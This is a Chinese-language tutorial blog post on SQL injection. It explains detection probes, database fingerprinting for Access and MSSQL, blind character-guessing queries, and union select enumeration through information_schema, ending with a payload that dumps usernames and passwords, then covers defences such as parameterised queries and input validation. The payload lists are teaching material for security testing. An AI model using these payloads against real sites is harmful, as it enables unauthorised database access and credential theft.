1:什么是SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

www.xx.com/news.php?id=1
 www.xx.com/news.php?id=1 and 1=1

这里我们来理解一下SQL注入

首先,SQL注入常年蝉联OWASP排行榜第一名

SQL注入产生的过程是怎样的呢?见下图

SQL注入的危害有哪些?

  数据库信息泄露
  网页篡改
  网站被挂马
  数据库被恶意操作
  服务器被远程控制
  破坏硬盘数据

2: 学习一下sql注入的方法

2.1取消友好HTTP错误消息

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试

  打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。
   打开“高级”选项卡,在设置列表中找到“浏览”组,
   取消勾选”显示友好HTTP错误信息”复选框 。如下图

2.2寻找SQL注入

最常用的SQL注入判断方法,在网站中寻找如下形式的网页

http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1

提交单引号,页面返回错误

提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误

2.3确认注入点

区分数字和字符串
   数字型
   SELECT *FROM user WHERE id=1
   SELECT * FROM user WHERE id > 1
   带引号类型的
   SELECT * FROM user WHERE name = ‘admin’
   SELECT * FROM user WHERE date > ‘2017-5-3’

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。

终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句

例如在单引号后面再加上 %23 表示进行单引号闭合,此时页面又恢复正常

select * from XXX where id ='1"

select * from XXX where id = ' 1'%23  ' (蓝色部分为注入内容,红色部分为被注释掉)

3:识别数据库

3.1:数据库连接运算符

www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min

3.2 Access数据库注入

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

Access手工注入猜解

猜表名
   and exists(select * from 表名)
   and(select count(*) from 表名)>=0

猜字段名
   and exists(select 字段名 from 表名)
   and (select count(字段名) from 表名)>=0
猜字段长度
   and (select top 1 len(字段名) from 表名)>1
   and (select top 1 len(字段名) from 表名)>2
   and (select top 1 len(字段名) from 表名)>n

猜字段值
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n

Order by 猜字段数目

  Order by 1
  Order by 2
  Order by n

Union select 获取段内容
  Union select 1,字段名,2,…,n from 表名

3.3 Mssql数据库注入

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。

注入点权限判断
   and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
   and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限
   and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限

返回信息判断
   and @@version>0 //数据库信息
   ;declare @d int //判断MsSQL支持多行语句查询
   and (select count(1) from [sysobjects])>=0 //是否支持子查询
   and user>0 //获取当前数据库用户名
   and 1=convert(int,db_name()) 或 1=(select db_name()) //当前数据库名
   and 1=(select @@servername) //本地服务名
   and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限

爆当前数据库名
and db_name()=0
and db_name(n)>0

利用order by报错法继续进行攻击,爆表名、字段名、字段内容
order by 10 //返回错误
order by 5 //返回错误
order by 4 //返回正确
 
证明该注入点处查询字段数据为4。使用union select查询数据库的版本信息,以及连接的用户名和数据库
名等,提交如下链接:
union select 1,2,3,4

Information_schema结构
Information_schema结构包含数据库关键信息
“SCHEMATA”表,用于存储数据库名,其中的关键字段为
SCHEMA_NAME,表示数据库名称
“TABLES”表,用于存储表名。其中关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段
TABLE_NAME表示表的名称
”COLUMNS“表,用于存储字段名。其中的关键字段TABLE_SCHEMA表示表所属的数据库名称;字段
TABLE_NAME表示所属的表的名称;COLUMN_NAME表示字段名
 
爆出4张表
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()

根据表名爆列名,可以获取user表中所有的列

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'user'

根据列名爆出所有关键用户字段的信息

union select uname,pwd,3,4 from flag %23

4 注入工具介绍

5 防御sql注入

使用参数化查询

PHP包含很多用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。

输入验证

验证应用接收到的输入时一种可用的功能强大的控制手段(如果用的好的话)。

白名单
   使用白名单应该开了下列要点:
   数据类型:字符、数字等;
   数据大小:字符串长度是否正确,数字的大小和精度是否正确。
   数据范围:如果 是数字型,是否位于该数据类型期望的数字范围。
   数据内容:数据是否属于期望的数据类型,如手机号码,它是否瞒住期望的值。
黑名单
   黑名单验证的常用方法也是使用正则表达式。

编码输入与使用存储过程防御

除了验证应用受到的输入以外,通常还需要对在应用的不同模块或部分传递的内容进行编码。

通常会被忽视的情况是对来自数据库的信息进行编码,尤其是当正在使用的数据库未经过严格验证或审查,或者来自第三方数据源时。

将应用设计成专门使用存储过程来访问数据库是一种可以放置或减轻SQL注入影响的技术。存储
过程是保存在数据库汇总的程序。根据数据库的不同,可以使用很多不同语言及其变体来编写存储过程

安全测试基础-SQL注入详解的更多相关文章

  1. 【web安全】第六弹:手工SQL注入详解

    前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...

  2. MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解

    判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...

  3. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  4. php防止SQL注入详解及防范

    SQL 注入是PHP应用中最常见的漏洞之一.事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义( ...

  5. SQL注入详解

    SQL是一种将SQL代码添加到输入参数中,传递到SQL服务器解析并执行的一种攻击手段 产生的原因 web开发人员无法保证所有输入都已经安全过滤 攻击者利用发送给SQL服务器的输入数据,构造可执行的SQ ...

  6. SQL注入详解及技巧

    Tip小技巧 :在白盒测试的过程中,在sql语句的下一句加上 echo $sql. '<br>'; 可以在页面中输出完整的sql语句 效果图 :

  7. ORACLE PL/SQL编程详解

    ORACLE PL/SQL编程详解 编程详解 SQL语言只是访问.操作数据库的语言,并不是一种具有流程控制的程序设计语言,而只有程序设计语言才能用于应用软件的开发.PL /SQL是一种高级数据库程序设 ...

  8. [顶]ORACLE PL/SQL编程详解之二:PL/SQL块结构和组成元素(为山九仞,岂一日之功)

    原文:[顶]ORACLE PL/SQL编程详解之二:PL/SQL块结构和组成元素(为山九仞,岂一日之功) [顶]ORACLE PL/SQL编程详解之二: PL/SQL块结构和组成元素(为山九仞,岂一日 ...

  9. Hive笔记--sql语法详解及JavaAPI

    Hive SQL 语法详解:http://blog.csdn.net/hguisu/article/details/7256833Hive SQL 学习笔记(常用):http://blog.sina. ...

随机推荐

  1. 事件绑定+call apply指向

    JS高级 事件—— 浏览器客户端上客户触发的行为都称为事件 所有事件都是天生自带的,不需要我们去绑定,只需要我们去触发,通过obj.事件名=function(){ } 事件名:onmousemove: ...

  2. OO_BLOG3_规格化设计(JML学习)

    目录 JML语言学习笔记 理论基础 应用工具链情况 JMLUnit/JMLUnitNG UNIT3 作业分析 作业 3-1 实现两个容器类Path和PathContainer 作业 3-2 实现容器类 ...

  3. vue项目的各个文件作用

    vue项目的各个文件作用: build:放置的是webpack配置文件,一般不动,修改了必须重启服务器才能生效 config:放置针对开发环境和线上环境的配置文件,一般不动 修改后需重启 node_m ...

  4. 关于DataX

    1. 关于DataX 1.1. 前言 为什么写这篇文章,因为初出茅庐的时候,曾经遇到的一个面试官就是DataX的作者之一,而当时我还偏偏因为业务需求做了个数据库的同步工具,我当时不知道他做过这么专业的 ...

  5. 你可能还不知道的关于JavaScript类型的细节?

    类型 七种类型: Undefined Null Boolean String Number Symbol Object Undefined.Null 阅读问题:为什么有的编程规范要求使用void 0 ...

  6. java并发值多线程同步业务场景以及解决方案

    1.20个人排队同时访问2个购票窗口,同时能购票的只有两个人,当其中一个人买票完成后,18个人中的其中一个在占用窗口进行购买. 20个人相当于20个线程,2相当于资源,当18个人等待的时候,相当于线程 ...

  7. PostgreSQL 基本数据类型及常用SQL 函数操作

    数据类型 名字 别名 描述 bigint int8 有符号的8字节整数 bigserial serial8 自动增长的8字节整数 bit [ (n) ]   定长位串 bit varying [ (n ...

  8. Java开发环境之Gradle

    查看更多Java开发环境配置,请点击<Java开发环境配置大全> 拾伍章:Gradle安装教程 1)下载Gradle安装包 官网下载:https://gradle.org/releases ...

  9. Docker 0x07: Docke 容器网络

    目录 Docke 容器网络 Container Network Model (CNM) 具体项目中代码对象有哪些 Implementations实现的网络(直接英文版) Libnetwork incl ...

  10. Centos6.5基于GPT格式磁盘分区

    1.查看分区 fdisk -l 2.设置分区类型未gpt格式. parted -s /dev/sdb mklabel gpt 3.基于ext3文件系统类型格式化. mkfs.ext3 /dev/sdb ...